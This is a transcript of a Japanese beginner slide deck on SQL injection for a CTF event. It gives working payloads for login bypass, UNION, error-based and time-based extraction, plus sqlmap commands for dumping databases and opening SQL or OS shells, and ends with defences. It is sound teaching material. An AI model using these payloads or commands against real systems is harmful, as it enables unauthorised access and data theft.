Upgrade to Pro — share decks privately, control downloads, hide ads and more …

入門SQLi / Introduction of SQLi

Satoki
September 11, 2022

入門SQLi / Introduction of SQLi

Satoki

September 11, 2022
Tweet

More Decks by Satoki

Other Decks in Programming

Transcript

  1. 入門SQLi SECCON Beginners Online 2022/09/11 @satoki00

  2. 自己紹介 ・Satoki Tsuji (@satoki00🔒) ・名古屋大学 M2 ・Web脆弱性診断業務 ・CTFではWeb, Misc, Cheat担当

    ・ctf4b 2022での作問 textex 123 Solves hitchhike4b 125 Solves phisher 238 Solves 2
  3. 目次 ・SQLとは ・SQLi (SQL Injection)の仕組み ・SQLiで何ができる? ・SQLiの発見からFlag探索まで ・SQLiのテクニック ・ツールでのSQLi ・SQLiの対策

    ・まとめ 3
  4. 今回の難易度別ゴール Easy SQLiの仕組みを理解する Medium SQLiの基本ペイロードを構築する Hard SQLiのテクニックを駆使して制限を回避する 4

  5. SQLの前にRDBの簡単用語説明 SQLとは 5 id name pass message 1 admin wasureta

    secret 2 Satoki himitsu satodayo 3 task4233 hi120ki webwebweb 4 n01e0 ushigai yabinary テーブル カラム レコード フィールド users
  6. Structured Query Languageとは、RDBを操作するための言語 例: usersテーブルよりidが1であるnameを選択 SELECT name FROM users WHERE

    id = 1; SQLとは 6 アプリケーション DB SQL SELECT name FROM users WHERE id = 1; 結果 admin
  7. Structured Query Languageとは、RDBを操作するための言語 例: usersテーブルよりidが1であるnameを選択 SELECT name FROM users WHERE

    id = 1; SQLとは 7 id name pass message 1 admin wasureta secret 2 Satoki himitsu satodayo 3 task4233 hi120ki webwebweb 4 n01e0 ushigai yabinary users id = 1
  8. SQL文(クエリ)をユーザが自由に発行することはできない → ユーザの操作に応じてアプリケーションが発行 SQLとは 8 アプリケーション DB SQL 結果 操作

    応答 ユーザ SQL
  9. SQL文(クエリ)をユーザが自由に発行することはできない SQL文を自由に発行できてしまうと… DBを好き放題操作されてしまう!! この脆弱性を SQLとは 9 SQL Injection

  10. ユーザの入力を利用するSQL文では… 例: nameとpassが入力と一致したnameを返す(ログイン処理) SQLi (SQL Injection)の仕組み 10 アプリケーション DB SQL

    nameとpass を入力 ユーザ ユーザデータ (name) ログイン成否
  11. name=Satoki、pass=himitsuである場合に発行されるSQLクエリ SELECT name FROM users WHERE name='Satoki' AND pass='himitsu'; SQLi

    (SQL Injection)の仕組み 11 id name pass message 1 admin wasureta secret 2 Satoki himitsu satodayo 3 task4233 hi120ki webwebweb 4 n01e0 ushigai yabinary users ログイン成功
  12. name=Satoki、pass=hackである場合に発行されるSQLクエリ SELECT name FROM users WHERE name='Satoki' AND pass='hack'; SQLi

    (SQL Injection)の仕組み 12 id name pass message 1 admin wasureta secret 2 Satoki himitsu satodayo 3 task4233 hi120ki webwebweb 4 n01e0 ushigai yabinary users ログイン失敗
  13. 発行されるSQLクエリ SELECT name FROM users WHERE name='入力' AND pass='入力'; 攻撃者がnameに「admin';

    -- 」を入力すると… SELECT name FROM users WHERE name='admin'; -- ' AND pass=''; 入力もSQL文の一部として解釈される → ユーザ入力からSQLが注入(Injection)された SQLi (SQL Injection)の仕組み 13
  14. Injectionされるとどうなる? SELECT name FROM users WHERE name='admin'; -- ' AND

    pass=''; 「-- 」以降はコメントと解釈される SQLi (SQL Injection)の仕組み 14 id name pass message 1 admin wasureta secret 2 Satoki himitsu satodayo 3 task4233 hi120ki webwebweb 4 n01e0 ushigai yabinary users 不正アクセス成功
  15. ・ログイン処理の突破 → ログイン処理が存在しないサービスなら安全? 例:商品検索サイト, ユーザ登録サイト ・サービスの停止 ・DBの中身の取得や変更 ・ファイルの書き換え ・任意コード実行 SQLiで何ができる?

    15
  16. ・スピード違反(※ほんとか?) 引用元: https://rostlab.org/owiki/images/1/1e/Rapid_web_development.pdf SQLiで何ができる? 16

  17. CTFにおけるSQLi問の攻略フロー SQLiの発見 ↓ DBMSの種類の特定 ↓ SQLiのペイロードの構築 ↓ 目的の情報(Flag)の探索 SQLiの発見からFlag探索まで 17

  18. WebアプリケーションのSQLiを発見する ・フォームやクエリ文字列に意図しない値を入れる 例:「('o')¥'」「O'R*illy」 → 怪しい応答:500エラー (Internal Server Error) ・ソースが与えられている場合は読む →

    FlagがDB内のみにある場合は8割SQLi SQLiの発見 18
  19. SQLiを使ってDBMSの種類を特定する 理由:重要なテーブルや機能がDBMSによって異なるため ・MySQL:connection_id()=connection_id() ・SQLite:sqlite_version()=sqlite_version() ・PostgreSQL:pg_client_encoding()=pg_client_encoding() これら比較は、各DBMSのみでTRUEになる DBMSの種類の特定 19

  20. 元のSQL文を予測してペイロードを構築する ・ 挙動から元のSQL文を予測 例:「' -- 」を入力:エラー、「') -- 」を入力:エラーなし → 元のSQL文に「)」が一つ含まれていることがわかる

    ・ エラー内容から元のSQL文を予測 Syntax Errorに元のSQL文の一部が含まれる SQLiのペイロードの構築 20
  21. 目的の情報を見逃さないように注意深く探索する 初めに他のテーブル情報を持つ重要なDBやテーブルを取得 ・MySQL, 他:information_schema.tables ・SQLite:sqlite_master ・PostgreSQL:pg_tables 結果からFlagが含まれていそうなテーブルを探索 目的の情報の探索 21

  22. SELECTした結果が表示される場合に有効 例:入力価格以下の本を返すSQL文 SELECT * FROM books WHERE price < 入力;

    SQLiのテクニック (Union Based SQLi) 22 name price book1 100 book2 1000 book3 1000000000 books name text flag1 flag{sqli_ flag2 yatte_mite flag3 _dou?} secrets
  23. 10000を入力した場合 SELECT * FROM books WHERE price < 10000; 結果:book1,

    100とbook2, 1000 → secretsテーブルのflagたちが欲しい SQLiのテクニック (Union Based SQLi) 23 name price book1 100 book2 1000 book3 1000000000 books name text flag1 flag{sqli_ flag2 yatte_mite flag3 _dou?} secrets
  24. UNION SELECTを結合する SELECT * FROM table1 UNION SELECT * FROM

    table2; SQLiのテクニック (Union Based SQLi) 24 id name 1 admin 2 satoki 3 ctf table1 name passwd admin aiueo satoki himitsu table2 1 admin 2 satoki 3 ctf admin aiueo satoki himitsu UNION
  25. UNION句で別テーブル(secrets)をSELECTして結合する SELECT * FROM books WHERE price < 1 UNION

    SELECT * FROM secrets; 結果: price < 1なものはbooksには存在しない secretsのすべてのフィールドのみが表示 🚩Flagゲット!!!! SQLiのテクニック (Union Based SQLi) 25
  26. 結果が表示されないが、エラーの発生がわかる場合に有効 例:ユーザを新規登録するSQL文 INSERT INTO users values('入力(name)', '入力(pass)'); データ挿入のみなので、情報を取得できない? SQLiのテクニック (Error

    Based SQLi) 26 name pass admin pass01234 satoki himitsu users 入力 name=satoki pass=himitsu name text flag flag{flag_dayo} secrets
  27. LIKE (LIKE BINARY) 部分一致を含むあいまいな検索ができる SELECT column FROM table WHERE column

    LIKE 'abc%'; 意味:abcから始まるcolumnをtableより検索できる %:0文字以上の任意の文字列 _:任意の1文字 注意: Flagには_(アンダーバー)がよく含まれる SQLiのテクニック (Error Based SQLi) 27
  28. exp(999)によって意図的にオーバーフローエラーを発生 → エラーの発生の有無によって情報を取得できる INSERT INTO users values('', (SELECT...)); -- ','');

    ・エラー発生あり SELECT exp(999) FROM secrets WHERE (text LIKE 'f%') ・エラー発生なし SELECT exp(999) FROM secrets WHERE (text LIKE 'a%') SQLiのテクニック (Error Based SQLi) 28
  29. エラー発生あり SELECT exp(999) FROM secrets WHERE (text LIKE 'f%') →

    exp(999)が評価されている → WHEREがTRUE → Flagがf (or F) から始まる 結果: エラーの有無によりFlagが一文字ずつ分かる 🚩Flagゲット!!!! SQLiのテクニック (Error Based SQLi) 29
  30. 結果とエラーの発生がともにわからない場合にも有効 例:ユーザを新規登録するSQL文(エラーはユーザに表示しない) INSERT INTO users values('入力(name)', '入力(pass)'); エラーの発生がわからないのでError Based SQLiが使えない*

    なにかSQLで制御でき、観測できるものはないか? *実際はログインページなどで登録の成否を確認することもできるが今回は考えない SQLiのテクニック (Time Based SQLi) 30
  31. SLEEP 指定した時間だけ待機する SELECT SLEEP(100); ANDを用いると先に評価された式がTRUEの場合SLEEPする SELECT 1 WHERE TRUE AND

    SLEEP(10); SLEEP以外の負荷のかかる処理でも可能 SQLiのテクニック (Time Based SQLi) 31
  32. SLEEPによるページの応答の遅延から情報を取得できる SELECT SLEEP(10) FROM secrets WHERE (text LIKE 'f%') 結果:

    応答の遅延によりFlagが一文字ずつ分かる 🚩Flagゲット!!!! SQLiのテクニック (Time Based SQLi) 32 計測 ページ SQLi SLEEPが評価されると 応答が遅延
  33. SQLiの発見からデータ取得までを一括で行ってくれるツール インフラへの負荷から使用が禁止されているCTFも多い sqlmap https://sqlmap.org/ ツールでのSQLi 33

  34. sqlmapの導入 git clone後に、python3ですぐに動く ツールでのSQLi 34 $ git clone https://github.com/sqlmapproject/sqlmap.git $

    cd sqlmap/ $ python3 sqlmap.py --version 1.6.8.4#dev
  35. SQLiの発見 自動スキャンを行ってくれる URLクエリ部分やデータの中身にペイロードが差し込まれる ツールでのSQLi 35 # GET $ sqlmap -u

    "http://localhost/test.php?user=1&passwd=2" # POST $ sqlmap -u "http://localhost/test.php" --data "user=1&passwd=2"
  36. SQLiでの各情報の取得 DBの情報を自動で探索/取得して表示してくれる 各情報を設定することも可能 ツールでのSQLi 36 オプション 内容 オプション --dbs DB名の一覧を取得

    -D 探索するDBを指定 --tables テーブル名の一覧を 取得 -T 探索する テーブルを指定 --columns テーブル内のカラム名 一覧を取得 -C 探索する カラムを指定 --dump テーブル内のデータを ダンプ
  37. SQLiでの各情報の取得 DB内のデータ取得までの流れ ツールでのSQLi 37 # DB名を取得 $ sqlmap -u "http://localhost/test.php?userid=1"

    --dbs # dbdbというDBが存在すると分かった $ sqlmap -u "http://localhost/test.php?userid=1" -D dbdb --tables # flagというテーブルが存在することが分かった $ sqlmap -u "http://localhost/test.php?userid=1" -T flag --dump # Flagゲット!!!!
  38. sqlmapの対話的な操作 SQLiによるSQLクエリ実行 オプション--os-shellではWebシェルを設置し、任意コマンド実 行まで行う ツールでのSQLi 38 $ sqlmap -u "http://localhost/test.php?userid=1"

    --sql-shell sql-shell> SELECT * FROM users; SELECT * from flags [2]: [*] admin, pass01234 [*] satoki, himitsu
  39. 有効な対策 ・動的なSQL文を生成しない ・プリペアドステートメントの使用 緩和策 ・SQLi対策用のサニタイズライブラリの使用 ・DBのユーザ権限を適切に設定する SQLiの対策 39

  40. isEmailかつSQLi可能なペイロードも… "' UNION SELECT * FROM secrets#"@satoki.satoki SQL文を対象としていない物でのチェックはFlagへの近道 別の個所でチェックしているから安全? 例:メールアドレス入力部分

    (validator.isEmailを利用) SQLiの対策 40
  41. 🚩 SQLiはユーザ入力がSQL文として解釈されてしまうことで発生する 🚩 元のSQL文を取得/予測して、攻撃ペイロードを組み立てる 重要なDBやテーブルを覗くとFlagにつながる情報が… 🚩 エラーや応答時間などを有効に使うとさまざまな制限が回避できる 🚩 ツールを解析してみると面白いペイロードが見つかるかも… まとめ

    41
  42. おわり ctf4b{スライドからFlagを見つけようとしない!!} 🚩ばいばい~ おわり 42